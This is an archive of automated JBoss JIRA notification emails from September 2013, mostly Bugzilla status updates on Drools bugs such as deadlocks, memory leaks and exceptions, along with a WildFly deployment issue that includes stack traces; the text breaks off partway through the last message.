Subject: [jboss-jira] [JBoss JIRA] (DROOLS-191) Dynamic addition of rules
 with "evals" does not update the WM
In-Reply-To: <JIRA.12496642.1374011784000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496642.1374011784000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496642.1374011784000.6079.1378216864991@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-191?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801175#comment-12801175 ] 

RH Bugzilla Integration commented on DROOLS-191:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995107|https://bugzilla.redhat.com/show_bug.cgi?id=995107] from MODIFIED to ON_QA
                
> Dynamic addition of rules with "evals" does not update the WM
> -------------------------------------------------------------
>
>                 Key: DROOLS-191
>                 URL: https://issues.jboss.org/browse/DROOLS-191
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Minor
>             Fix For: 5.5.1.Final, 6.0.0.CR1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-206) Deadlock between
 AbstractWorkingMemory and DefaultAgenda
In-Reply-To: <JIRA.12497480.1375093239000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12497480.1375093239000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12497480.1375093239000.6088.1378216983443@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-206?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801177#comment-12801177 ] 

RH Bugzilla Integration commented on DROOLS-206:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995078|https://bugzilla.redhat.com/show_bug.cgi?id=995078] from MODIFIED to ON_QA
                
> Deadlock between AbstractWorkingMemory and DefaultAgenda
> --------------------------------------------------------
>
>                 Key: DROOLS-206
>                 URL: https://issues.jboss.org/browse/DROOLS-206
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Winfried Umbrath
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.CR2
>
>         Attachments: jbrules-3700-test.tgz
>
>
> I experienced a deadlock when running in STREAM mode and using negative patterns with temporal constraints. 
> When the rule gets fired by the installed timer job and at the same time another thread is firing rules, a deadlock can occur:
> 1. [rule firing thread] StatefulKnowledgeSessionImpl.execute(StatefulKnowledgeSessionImpl.java:820)
> acquires lock in AbstractWorkingMemory
> 2. [timer-thread] DefaultAgenda.fireActivation()
> call of synchronized method
> 3. [rule firing thread] DefaultAgenda.fireActivation()
> synchronized method, wait for other thread to exit synchornized method
> 4. [timer-thread] AbstractWorkingMemory.getGlobal()
> tries to access a global, tries to acquire lock in AbstractWorkingMemory which is held by the other thread
> --> Deadlock
> Excerpt from thread dump:
> "http-thread-pool-8082(374)":
> 	at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1264)
> 	- waiting to lock <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.DefaultAgenda.fireNextItem(DefaultAgenda.java:1221)
> 	at org.drools.common.DefaultAgenda.fireAllRules(DefaultAgenda.java:1456)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:710)
> 	at org.drools.common.AbstractWorkingMemory.fireAllRules(AbstractWorkingMemory.java:679)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.fireAllRules(StatefulKnowledgeSessionImpl.java:234)
> 	at org.drools.command.runtime.rule.FireAllRulesCommand.execute(FireAllRulesCommand.java:102)
> 	at org.drools.command.runtime.rule.FireAllRulesCommand.execute(FireAllRulesCommand.java:32)
> 	at org.drools.command.runtime.BatchExecutionCommandImpl.execute(BatchExecutionCommandImpl.java:155)
> 	at org.drools.command.runtime.BatchExecutionCommandImpl.execute(BatchExecutionCommandImpl.java:76)
> 	at org.drools.impl.StatefulKnowledgeSessionImpl.execute(StatefulKnowledgeSessionImpl.java:821)
> "pool-4251-thread-1":
> 	at sun.misc.Unsafe.park(Native Method)
> 	- parking to wait for  0x00007f503fc71a20> (a java.util.concurrent.locks.ReentrantLock$NonfairSync)
> 	at java.util.concurrent.locks.LockSupport.park(LockSupport.java:158)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.parkAndCheckInterrupt(AbstractQueuedSynchronizer.java:747)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquireQueued(AbstractQueuedSynchronizer.java:778)
> 	at java.util.concurrent.locks.AbstractQueuedSynchronizer.acquire(AbstractQueuedSynchronizer.java:1114)
> 	at java.util.concurrent.locks.ReentrantLock$NonfairSync.lock(ReentrantLock.java:186)
> 	at java.util.concurrent.locks.ReentrantLock.lock(ReentrantLock.java:262)
> 	at org.drools.common.AbstractWorkingMemory.getGlobal(AbstractWorkingMemory.java:634)
> 	at myrules.Rule_ruleWithTimeout_ece4a3c9fc2741a4ab97a92b77611203DefaultConsequenceInvokerGenerated.evaluate(Unknown Source)
> 	at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1287)
> 	- locked <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.DefaultAgenda.fireTimedActivation(DefaultAgenda.java:1344)
> 	- locked <0x00007f50407e4950> (a org.drools.common.DefaultAgenda)
> 	at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:83)

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-129) PKGs downloaded from guvor
 contain void references to the internal resources
In-Reply-To: <JIRA.12491066.1367655082000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12491066.1367655082000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12491066.1367655082000.6096.1378216983756@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-129?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801179#comment-12801179 ] 

RH Bugzilla Integration commented on DROOLS-129:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995058|https://bugzilla.redhat.com/show_bug.cgi?id=995058] from MODIFIED to ON_QA
                
> PKGs downloaded from guvor contain void references to the internal resources
> ----------------------------------------------------------------------------
>
>                 Key: DROOLS-129
>                 URL: https://issues.jboss.org/browse/DROOLS-129
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Davide Sottara
>            Assignee: Mario Fusco
>            Priority: Minor
>             Fix For: 5.5.1.Final, 6.0.0.CR1
>
>
> Guvnor build PKGs using ReaderResources. When a PKG is downloaded by a client's PackageBuilder (using a UrlResource), the source resource for
> rules, declarations, etc.. is not updated to reflect the UrlResource

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:03:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:03:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-101) Dynamically removing a DRL
 containing a query generates an IllegalArgumentException
In-Reply-To: <JIRA.12488797.1365439355000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12488797.1365439355000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12488797.1365439355000.6099.1378216983931@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-101?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801180#comment-12801180 ] 

RH Bugzilla Integration commented on DROOLS-101:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995043|https://bugzilla.redhat.com/show_bug.cgi?id=995043] from MODIFIED to ON_QA
                
> Dynamically removing a DRL containing a query generates an IllegalArgumentException
> -----------------------------------------------------------------------------------
>
>                 Key: DROOLS-101
>                 URL: https://issues.jboss.org/browse/DROOLS-101
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Beta2
>
>
> Dynamically removing a DRL containing a query generates an IllegalArgumentException

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:05:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:05:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-72) Potential memory leak in
 StatelessKnowledgeSessionImpl#execute when fireAllRules throwing
 RuntimeException
In-Reply-To: <JIRA.12486763.1362705976000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486763.1362705976000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486763.1362705976000.6103.1378217103628@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-72?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801181#comment-12801181 ] 

RH Bugzilla Integration commented on DROOLS-72:
-----------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995023|https://bugzilla.redhat.com/show_bug.cgi?id=995023] from MODIFIED to ON_QA
                
> Potential memory leak in StatelessKnowledgeSessionImpl#execute when fireAllRules throwing RuntimeException
> ----------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-72
>                 URL: https://issues.jboss.org/browse/DROOLS-72
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>            Reporter: Trung Nguyen
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> when {{ksession.fireAllRules()}} throws RuntimeException, it cause {{ksession}} never gets released. 
> {code:lang=java} 
> public void execute(Object object) {
>         StatefulKnowledgeSession ksession = newWorkingMemory();
>         ksession.insert( object );
>         ksession.fireAllRules( );
>         ksession.dispose();
>     }
>     public void execute(Iterable objects) {
>         StatefulKnowledgeSession ksession = newWorkingMemory();
>         for ( Object object : objects ) {
>             ksession.insert( object );
>         }
>         ksession.fireAllRules( );
>         ksession.dispose();
>     }
> {code}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:05:04 2013
From: jira-events at lists.jboss.org (Bart Van Dosselaer (JIRA))
Date: Tue, 3 Sep 2013 10:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1363) Updating deployment with
	dependant
In-Reply-To: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492100.1368803307000.6116.1378217104420@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1363?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801183#comment-12801183 ] 

Bart Van Dosselaer commented on WFLY-1363:
------------------------------------------

Just did - the same result, but a different error:

16:00:11,102 ERROR [org.jboss.msc.service.fail] (MSC service thread 1-5) MSC00001: Failed to start service jboss.deployment.unit."service.ear".PARSE: org.jboss.
msc.service.StartException in service jboss.deployment.unit."service.ear".PARSE: JBAS018733: Failed to process phase PARSE of deployment "service.ear"
        at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:127) [jboss-as-server-7.2.0.Final.jar:7.2.0.Final]
        at org.jboss.msc.service.ServiceControllerImpl$StartTask.startService(ServiceControllerImpl.java:1811) [jboss-msc-1.0.4.GA.jar:1.0.4.GA]
        at org.jboss.msc.service.ServiceControllerImpl$StartTask.run(ServiceControllerImpl.java:1746) [jboss-msc-1.0.4.GA.jar:1.0.4.GA]
        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) [rt.jar:1.7.0_25]
        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) [rt.jar:1.7.0_25]
        at java.lang.Thread.run(Thread.java:724) [rt.jar:1.7.0_25]
Caused by: java.lang.IllegalStateException
        at org.jboss.as.webservices.util.ASHelper.getRequiredAttachment(ASHelper.java:162)
        at org.jboss.as.webservices.deployers.WSIntegrationProcessorJAXWS_EJB.processAnnotation(WSIntegrationProcessorJAXWS_EJB.java:81)
        at org.jboss.as.webservices.deployers.WSIntegrationProcessorJAXWS_EJB.deploy(WSIntegrationProcessorJAXWS_EJB.java:70)
        at org.jboss.as.server.deployment.DeploymentUnitPhaseService.start(DeploymentUnitPhaseService.java:120) [jboss-as-server-7.2.0.Final.jar:7.2.0.Final]
        ... 5 more
                
> Updating deployment with dependant
> ----------------------------------
>
>                 Key: WFLY-1363
>                 URL: https://issues.jboss.org/browse/WFLY-1363
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: Windows 7 64bit, JBoss 7.2.0.Final
>            Reporter: Bart Van Dosselaer
>            Assignee: Jason Greene
>              Labels: deployment
>         Attachments: jboss-deployment.zip, jboss-deployment.zip
>
>
> I'm faced with a certain deployment issue, for which I've created a small maven project (see attachment) so anyone can easily reproduce this behaviour.
>  
> I have a scenario where I have two EAR deployments: base.ear and service.ear. The latter uses some services of the former. For this to work, it has all the necessary entries in its manifest.
> Once deployed, I can call the EJB from service.ear and the EJB from base.ear gets injected and used. No problems so far.
>  
> This works fine, until I want to update base.ear.
>  
> We have our own mechanism to update deployments (through the management API), but the same result can be achieved by deploying through the JBoss Admin console or JBoss CLI.
> So, when I update base.ear (just replace with the same base.ear file) it deploys fine and the invocation is successful. However, there's one line in the console which goes like:
> JBAS014777:   Services which failed to start:      service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: org.jboss.msc.service.StartException in service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: JBAS018733: Failed to process phase FIRST_MODULE_USE of subdepl
> oyment "service-ejb.jar" of deployment "service.ear"
> At this moment, the service.ear, and all its EJBs, isn't really deployed anymore. Or atleast, wrongfully deployed. Not sure how to call that state.
> One possibility is to invoke the :reload command (or restart the server), but ideally we'd like to not have this error in the first place.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:05:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-40) In Stream mode an event with
 a duration get retracted even if its lifecycle isn't terminated yet
In-Reply-To: <JIRA.12485076.1361184908000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12485076.1361184908000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12485076.1361184908000.6119.1378217104526@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-40?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801184#comment-12801184 ] 

RH Bugzilla Integration commented on DROOLS-40:
-----------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995021|https://bugzilla.redhat.com/show_bug.cgi?id=995021] from MODIFIED to ON_QA
                
> In Stream mode an event with a duration get retracted even if its lifecycle isn't terminated yet
> ------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-40
>                 URL: https://issues.jboss.org/browse/DROOLS-40
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>            Reporter: Mario Fusco
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> In STREAM mode an event should be automatically retracted based on its end timestamp, not on the start one.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:05:04 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:05:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-35) Possible memory leak:
 MarshallerReaderContext held indefinitely by ReteooStatefulSession
In-Reply-To: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12484650.1360591125000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12484650.1360591125000.6126.1378217104879@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-35?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801186#comment-12801186 ] 

RH Bugzilla Integration commented on DROOLS-35:
-----------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 995017|https://bugzilla.redhat.com/show_bug.cgi?id=995017] from MODIFIED to ON_QA
                
> Possible memory leak: MarshallerReaderContext held indefinitely by ReteooStatefulSession
> ----------------------------------------------------------------------------------------
>
>                 Key: DROOLS-35
>                 URL: https://issues.jboss.org/browse/DROOLS-35
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>    Affects Versions: 5.5.0.Final
>         Environment: Oracle JDK7
>            Reporter: Magnus Vojbacke
>            Assignee: Mario Fusco
>             Fix For: 5.5.1.Final, 6.0.0.Alpha9
>
>
> It seems that the memory consumption increases after a session has been unmarshalled. That is to say: an unmarshalled session of size x uses  much more memory than if I had started with an empty session and inserted x number of facts.
> Digging into a memory profile, I found that after unmarshalling, my ReteooStatefulSession instance holds on to a MarshallerReaderContext instance: 
> StatefulKnowledgeSessionImpl : session
> ReteooStatefulSession : defaultEntryPoint
> NamedEntryPoint : objectStore
> SingleThreadedObjectStore : identityMap
> ObjectHashMap : table
> Entry[] : [0]
> ObjectHashMap$ObjectEntry : value
> DefaultFactHandle : lastLeftTuple
> RuleTerminalNodeLeftTuple : object
> AgendaItem : context
> PropagationContextImpl : readerContext
> MarshallerReaderContext : this 
> The MarshallerReaderContext consumes a lot of memory.
> Digging into the unmarshalling code, it seems that the MarshallerReaderContext is a utility class used during unmarshalling of sessions. Intuitively, it seems wrong that a reference to this object should be held after unmarshalling is finished.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:05:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:05:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3621) Declared types :
 Constructor with more than 255 parameters
In-Reply-To: <JIRA.12474024.1347026839000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12474024.1347026839000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12474024.1347026839000.6135.1378217105318@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3621?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801188#comment-12801188 ] 

RH Bugzilla Integration commented on JBRULES-3621:
--------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 990701|https://bugzilla.redhat.com/show_bug.cgi?id=990701] from MODIFIED to ON_QA
                
> Declared types : Constructor with more than 255 parameters
> ----------------------------------------------------------
>
>                 Key: JBRULES-3621
>                 URL: https://issues.jboss.org/browse/JBRULES-3621
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-core  (expert)
>    Affects Versions: 5.4.0.Final
>            Reporter: JP Chemali
>            Assignee: Mario Fusco
>             Fix For: 5.5.0.Beta1
>
>
> When declaring a class type in a drools file
> {code:Java}
> declare MyType
>  i1:int
>  i2:int
>  ...
>  i256:int
> end
> {code} 
> The generated *MyType* bean contains a constructor with ALL fields parameters, which when they exceed 255, cause an unrecoverable ClassFormatError
> Possible solutions:
> - Check this limit to skip the constructor generation in org.drools.factmodel.DefaultBeanClassBuilder.generateConstructors()
> - Maybe an explicit annotation to disable the behavior for those who don't need it?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:05:05 2013
From: jira-events at lists.jboss.org (Bart Van Dosselaer (JIRA))
Date: Tue, 3 Sep 2013 10:05:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1363) Updating deployment with
	dependant
In-Reply-To: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12492100.1368803307000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12492100.1368803307000.6131.1378217105144@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-1363?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Bart Van Dosselaer updated WFLY-1363:
-------------------------------------

    Attachment: jboss-deployment.zip


Updated with jboss-all.xml configuration in service.ear
                
> Updating deployment with dependant
> ----------------------------------
>
>                 Key: WFLY-1363
>                 URL: https://issues.jboss.org/browse/WFLY-1363
>             Project: WildFly
>          Issue Type: Bug
>          Components: Server
>         Environment: Windows 7 64bit, JBoss 7.2.0.Final
>            Reporter: Bart Van Dosselaer
>            Assignee: Jason Greene
>              Labels: deployment
>         Attachments: jboss-deployment.zip, jboss-deployment.zip
>
>
> I'm faced with a certain deployment issue, for which I've created a small maven project (see attachment) so anyone can easily reproduce this behaviour.
>  
> I have a scenario where I have two EAR deployments: base.ear and service.ear. The latter uses some services of the former. For this to work, it has all the necessary entries in its manifest.
> Once deployed, I can call the EJB from service.ear and the EJB from base.ear gets injected and used. No problems so far.
>  
> This works fine, until I want to update base.ear.
>  
> We have our own mechanism to update deployments (through the management API), but the same result can be achieved by deploying through the JBoss Admin console or JBoss CLI.
> So, when I update base.ear (just replace with the same base.ear file) it deploys fine and the invocation is successful. However, there's one line in the console which goes like:
> JBAS014777:   Services which failed to start:      service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: org.jboss.msc.service.StartException in service jboss.deployment.subunit."service.ear"."service-ejb.jar".FIRST_MODULE_USE: JBAS018733: Failed to process phase FIRST_MODULE_USE of subdepl
> oyment "service-ejb.jar" of deployment "service.ear"
> At this moment, the service.ear, and all its EJBs, isn't really deployed anymore. Or atleast, wrongfully deployed. Not sure how to call that state.
> One possibility is to invoke the :reload command (or restart the server), but ideally we'd like to not have this error in the first place.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-197) java.lang.Boolean cannot be
 cast to org.drools.spi.Activation when used incremental kAgent + accumulate
In-Reply-To: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496946.1374272353000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496946.1374272353000.6141.1378217343592@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-197?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801189#comment-12801189 ] 

RH Bugzilla Integration commented on DROOLS-197:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986483|https://bugzilla.redhat.com/show_bug.cgi?id=986483] from MODIFIED to ON_QA
                
> java.lang.Boolean cannot be cast to org.drools.spi.Activation when used incremental kAgent + accumulate
> -------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-197
>                 URL: https://issues.jboss.org/browse/DROOLS-197
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: SpiExceptionTest.java
>
>
> When used accumulate and incremental changes from the kagent (drools.agent.newInstance as false)the exception below is throwed:
> {quote}
> Exception in thread "Thread-0" java.lang.ClassCastException: 
> java.lang.Boolean cannot be cast to org.drools.spi.Activation
>      at org.drools.reteoo.RuleTerminalNode$RTNCleanupAdapter.cleanUp(RuleTerminalNode.java:492)
>      at org.drools.reteoo.BetaNode.doRemove(BetaNode.java:381)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
>      at org.drools.reteoo.RuleTerminalNode.doRemove(RuleTerminalNode.java:367)
>      at org.drools.common.BaseNode.remove(BaseNode.java:105)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-196) NPE when used Timers with
 temporal operators in the LHS pattern
In-Reply-To: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496945.1374272031000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496945.1374272031000.6146.1378217343809@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-196?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801190#comment-12801190 ] 

RH Bugzilla Integration commented on DROOLS-196:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986479|https://bugzilla.redhat.com/show_bug.cgi?id=986479] from MODIFIED to ON_QA
                
> NPE when used Timers with temporal operators in the LHS pattern
> ---------------------------------------------------------------
>
>                 Key: DROOLS-196
>                 URL: https://issues.jboss.org/browse/DROOLS-196
>             Project: Drools
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>         Environment: Drools 5.3.0
>            Reporter: Alessandro Lazarotti
>            Assignee: Mark Proctor
>              Labels: brms-5.3
>         Attachments: LoopTestTimer.java
>
>
> NPE when used Timers with temporal operators. When the rule is invalidated by the clock we see:
> {quote}
> Unable to execute timer job!
> java.lang.NullPointerException
>      at org.drools.common.DefaultAgenda.fireActivation(DefaultAgenda.java:1236)
>      at org.drools.common.Scheduler$ActivationTimerJob.execute(Scheduler.java:91)
>      at org.drools.time.SelfRemovalJob.execute(SelfRemovalJob.java:15)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:47)
>      at org.drools.time.impl.DefaultTimerJobInstance.call(DefaultTimerJobInstance.java:12)
>      at java.util.concurrent.FutureTask$Sync.innerRun(FutureTask.java:303)
>      at java.util.concurrent.FutureTask.run(FutureTask.java:138)
> {quote}
> Unit test attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Tue Sep  3 10:09:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Tue, 3 Sep 2013 10:09:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-195) Rule Engine Crashes when
 used Slide Window constraints and kAgent is configured as incremental
 processing
In-Reply-To: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12496944.1374271678000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12496944.1374271678000.6149.1378217343963@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/DROOLS-195?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12801191#comment-12801191 ] 

RH Bugzilla Integration commented on DROOLS-195:
------------------------------------------------

nwallace <nwallace at redhat.com> changed the Status of [bug 986465|https://bugzilla.redhat.com/show_bug.cgi?id=986465] from MODIFIED to ON_QA
                
> Rule Engine Crashes when used Slide Window constraints and kAgent is configured as incremental processing
> ---------------------------------------------------------------------------------------------------------
>
>                 Key: DROOLS-195
>                 URL: https://issues.jboss.org/browse/DROOLS-195
>             Project: Drools
>          Issue Type: Bug
